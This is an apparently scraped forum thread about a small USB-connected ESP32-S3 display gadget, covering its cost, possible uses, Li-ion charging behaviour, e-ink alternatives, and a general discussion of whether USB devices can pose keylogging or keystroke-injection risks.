Unfortunately these are still a bit too expensive to e.g. have one on every key of a standard 101-key keyboard.
Takes me back. https://store.artlebedev.com/electronics/optimus-maximus/#51... Think this was $1200. Honestly don’t think I would spend any extra money on dynamic keys- I never look at my keyboard.
What's stopping this thing from keylogging or inserting keystrokes? Malicious USB devices are fairly common, and this certainly has the 'right' form factor. There's a reason 'do not plug in a USB drive you have found in the parking lot' is reiterated in every corp security training.
Keylogging? Just how do you think it can read any keystrokes? As for inserting keystrokes, that will be obvious if it enumerates as a keyboard. You should turn down your paranoia a little more.
One of the use cases i like is a visible indicator of when the Video camera/ screenshare or microphone is on -- and if the user wishes to, display that status (busy/on air) to others around them (like some over-the-ear headphones currently do).
It will serve was a reminder to the user themselves to be mindful of the cam/screen/mic -- and also to nearby people not to disturb them to walk into camera frame unintentionally.
I am sure there are tons of other uses for those willing to experiment.

While I can try and conjecture how those might work, that's not really in my lane.

This is true, but this also doesn't need to happen at insertion time. An HID keyboard can show up, say, 3 hours after you plug it in.
I miss grsecurity's patch set so much. It had an option to defeat this (deny all USB device enumeration post-boot, i.e. after the kernel executes init).

There are plenty of USB keyloggers available for purchase right now. While I can try and conjecture how those might work, that's not really in my lane.

... I don't get why folks would want to use such ram sticks... That said, I am very appreciative of my 'inline USB-C power draw monitor' from a standpoint of understanding what kind of draw a given device has (up to it's limit ofc)
> inline USB-C power draw monitor I have a couple of those and I love them! Mine support up to 100W power draw. Before I got them, I hadn’t ever considered that a variable amount of power could be drawn by a laptop while charging. For example, right now my laptop is at 63% battery and currently charging. It’s drawing 36W at the moment. When the battery charge is lower, it’s drawing more power from the outlet, and the…
This is because Li-Ion charging logic is known as "CC-CV", or constant current followed by constant voltage. You limit the charging current to some value (say 1A) until the cell attains the target voltage (almost always 4.2V, though some chargers limit it to 4.1V to prolong cell life), and then you hold it at that voltage until the current diminishes significantly (most chargers cut the cell off and indicate charge complete when the current draw drops to 10% of its max (during the CC phase) charge current, i.e. 100mA here).
You do have to code it yourself if you want to display information on it. However it has all the goodies of the ESP32S3 which is a very powerful MCU with wifi and bluetooth.
For fun I ported my railway station display [2] firmware which also runs on a ESP32S3 to it [3]. Cool little gadget.

I recently researched USB connected information displays but I am interested in e-Ink. I want - USB power + data - Open interface so I can drive it from my own software on the host (but not like a traditional monitor, I imagine more uploading pre-rendered bitmaps) - Image retention when powered off - High resolution paper like appearance - Between A5 and A4 in size - At least black, red and yellow as colors - Buttons…
>>Between A5 and A4 in size Very expensive. For $59 you can get M5PaperS3 ESP32S3 Development Kit (960x540, 4.7" eInk Display, 235 ppi) https://shop.m5stack.com/products/m5papers3-esp32s3-developm... Or you can get: https://lilygo.cc/products/t5-e-paper-s3-pro But these have 4.7 inch display. You can probably hack and repurpose old e-readers if you can be bothered with the technical pain.
"it’s USB so it can also suddenly change into a keyboard and inject keystrokes to steal your files and upload them "
And exactly how would it be able to achieve that?
